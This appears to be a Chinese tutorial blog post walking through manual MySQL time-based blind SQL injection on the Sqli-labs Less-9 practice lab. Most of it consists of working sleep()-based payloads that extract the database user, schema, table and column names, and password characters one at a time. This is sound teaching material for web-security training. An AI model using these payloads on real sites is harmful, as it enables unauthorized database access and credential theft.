MySQL手注之延时盲注
延时盲注简介
延时注入:部分网站没办法 union select 联合查询方式注入 、部分网站没有输出显示,只能通过延时判断;
环境:Sqli-tabs
注入点:http://127.0.0.1/sqli/Less-9/
核心代码:

也就是说:我们在查询的语句都会记录到 result.txt 这个文件里:

而且无论你输入什么,网站页面都会给你返回:
1 | You are in........... |
所以说我们不能用常规的联合查询注入或者说报错注入以及布尔盲注来进行SQL注入攻击,只能通过时间注入来进行SQL注入攻击!
最主要的产生注入查询是这段:
1 | $sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1"; |
延时注入函数
IF函数:
1 2 | 格式:IF(Condition,A,B) 含义:如果Condition条件成⽴,则执行语句A,否则执行语句B |
还有很多函数如:
1 2 | substr函数 ascii函数 |
mysql>=5.0 使⽤sleep()进⾏查询
mysql<5.0使⽤benchmark()进⾏查询
benchmark函数:
1 2 | benchmark是通过查询次数增多,时间变得缓慢来判断是否存在延迟 select benchmark(1000,select * from admin); |
sleep函数进行时间盲注
判断是否存在延迟注入
1 | id=1' and sleep(5) --+ |
1 | http://127.0.0.1/sqli/Less-9/index.php?id=1' and sleep(5) --+ |


由上图可见,它响应了6秒,也其实差不多了(相差一秒)
判断当前用户
上帝视角告诉你当前用户是:root

1 2 3 4 | id=1' and if(ascii(substr(user(),1,1))=114,sleep(5),1) --+ 注释: 判断user()用户的第一个字符是否为Ascii码的114,如果是那么延时5秒 114的Ascii码是r |
1 | http://127.0.0.1/sqli/Less-9/index.php?id=1' and if(ascii(substr(user(),1,1))=114,sleep(5),1) --+ |

1 2 3 4 5 6 | 猜解第二个字符是否为:o http://127.0.0.1/sqli/Less-9/index.php?id=1' and if(ascii(substr(user(),2,1))=111,sleep(5),1) --+ 猜解第三个字符是否为:o http://127.0.0.1/sqli/Less-9/index.php?id=1' and if(ascii(substr(user(),3,1))=111,sleep(5),1) --+ 猜解第四个字符是否为:t http://127.0.0.1/sqli/Less-9/index.php?id=1' and if(ascii(substr(user(),4,1))=116,sleep(5),1) --+ |
我就不一一截图了,只截图最后一张:

这样就可以判断出当前用户是 root
猜解数据库名称
上帝视角告诉你当前数据库名为:security

首先判断数据库名的长度:
1 2 3 | id=1' and if(length(database())=8,sleep(5),1) --+ 注释: 如果数据库长度为:8,则延时5秒 |

逐字猜解数据库名:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 | 猜解第一个字符是否为:s id=1' and if(ascii(substr(database(),1,1))=115,sleep(5),1) --+ 猜解第一个字符是否为:e id=1' and if(ascii(substr(database(),2,1))=101,sleep(5),1) --+ 猜解第一个字符是否为:c id=1' and if(ascii(substr(database(),3,1))=99,sleep(5),1) --+ 猜解第一个字符是否为:u id=1' and if(ascii(substr(database(),4,1))=117,sleep(5),1) --+ 猜解第一个字符是否为:r id=1' and if(ascii(substr(database(),5,1))=114,sleep(5),1) --+ 猜解第一个字符是否为:i id=1' and if(ascii(substr(database(),6,1))=105,sleep(5),1) --+ 猜解第一个字符是否为:t id=1' and if(ascii(substr(database(),7,1))=116,sleep(5),1) --+ 猜解第一个字符是否为:y id=1' and if(ascii(substr(database(),8,1))=121,sleep(5),1) --+ |
由于语句太多,我就不一一截图了,我就截图最后一张:
1 | http://127.0.0.1/sqli/Less-9/index.php?id=1' and if(ascii(substr(database(),8,1))=121,sleep(5),1) --+ |

这样就猜解出来它当前的数据库名为:security
猜解表名
上帝视角告诉你表名有:emails、referers、uagents、users

1 2 | 猜解第一个表名的第一个字符是否为:e id=1' and if(ascii(substr((SELECT distinct concat(table_name) FROM information_schema.tables where table_schema=database() LIMIT 0,1),1,1))=101,sleep(5),1) --+ |
1 2 | 想要查询第二个表名,就把 LIMIT 0,1 修改为:LIMIT 1,1 以此类推! 想要查询第二个字符:就吧LIMIT 0,1),1,1 修改为:LIMIT 0,1),2,1 以此类推! |
查询 users 表名:
1 2 3 4 5 6 7 8 9 10 | 猜解第四个表名的第一个字符是否为:u id=1' and if(ascii(substr((SELECT distinct concat(table_name) FROM information_schema.tables where table_schema=database() LIMIT 3,1),1,1))=117,sleep(5),1) --+ 猜解第四个表名的第二个字符是否为:s id=1' and if(ascii(substr((SELECT distinct concat(table_name) FROM information_schema.tables where table_schema=database() LIMIT 3,1),2,1))=115,sleep(5),1) --+ 猜解第四个表名的第三个字符是否为:e id=1' and if(ascii(substr((SELECT distinct concat(table_name) FROM information_schema.tables where table_schema=database() LIMIT 3,1),3,1))=101,sleep(5),1) --+ 猜解第四个表名的第四个字符是否为:r id=1' and if(ascii(substr((SELECT distinct concat(table_name) FROM information_schema.tables where table_schema=database() LIMIT 3,1),4,1))=114,sleep(5),1) --+ 猜解第四个表名的第五个字符是否为:s id=1' and if(ascii(substr((SELECT distinct concat(table_name) FROM information_schema.tables where table_schema=database() LIMIT 3,1),5,1))=115,sleep(5),1) --+ |
这里我就截图最后一张了:

这样就得到了 users 这个表名!
猜解列名
上帝视角告诉你 users 的列名有:id、username、password

查询 id 列:
1 2 3 4 | 查询 users 表名下的第一个列名的第一个字段:i id=1' and if(ascii(substr((select column_name from information_schema.columns where table_name= 'users' limit 0,1),1,1))=105,sleep(5),1) --+ 查询 users 表名下的第一个列名的第二个字段:d id=1' and if(ascii(substr((select column_name from information_schema.columns where table_name= 'users' limit 0,1),2,1))=100,sleep(5),1) --+ |
查询 username 列:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 | 查询 users 表名下第二个列名的第一个字段:u id=1' and if(ascii(substr((select column_name from information_schema.columns where table_name= 'users' limit 1,1),1,1))=117,sleep(5),1) --+ 查询 users 表名下第二个列名的第二个字段:s id=1' and if(ascii(substr((select column_name from information_schema.columns where table_name= 'users' limit 1,1),2,1))=115,sleep(5),1) --+ 查询 users 表名下第二个列名的第三个字段:e id=1' and if(ascii(substr((select column_name from information_schema.columns where table_name= 'users' limit 1,1),3,1))=101,sleep(5),1) --+ 查询 users 表名下第二个列名的第四个字段:r id=1' and if(ascii(substr((select column_name from information_schema.columns where table_name= 'users' limit 1,1),4,1))=114,sleep(5),1) --+ 查询 users 表名下第二个列名的第五个字段:n id=1' and if(ascii(substr((select column_name from information_schema.columns where table_name= 'users' limit 1,1),5,1))=110,sleep(5),1) --+ 查询 users 表名下第二个列名的第六个字段:a id=1' and if(ascii(substr((select column_name from information_schema.columns where table_name= 'users' limit 1,1),6,1))=97,sleep(5),1) --+ 查询 users 表名下第二个列名的第七个字段:m id=1' and if(ascii(substr((select column_name from information_schema.columns where table_name= 'users' limit 1,1),7,1))=109,sleep(5),1) --+ 查询 users 表名下第二个列名的第八个字段:e id=1' and if(ascii(substr((select column_name from information_schema.columns where table_name= 'users' limit 1,1),8,1))=101,sleep(5),1) --+ |
如果有多个列的话就以此类推~
猜解数据
上帝视角:

1 2 3 4 5 6 7 8 | 猜解 password 第一个字符为:D id=1' and if(ascii(substr((select password from users limit 0,1),1,1))=68,sleep(5),1) --+ 猜解 password 第二个字符为:u id=1' and if(ascii(substr((select password from users limit 0,1),2,1))=117,sleep(5),1) --+ 猜解 password 第三个字符为:m id=1' and if(ascii(substr((select password from users limit 0,1),3,1))=109,sleep(5),1) --+ 猜解 password 第四个字符为:b id=1' and if(ascii(substr((select password from users limit 0,1),4,1))=98,sleep(5),1) --+ |

这样就猜解出数据了!后面的以此类推!
交流群:

微信公众号:

知识星球:

版权声明:本文为qq_36304918原创文章,遵循CC 4.0 BY-SA版权协议,转载请附上原文出处链接和本声明。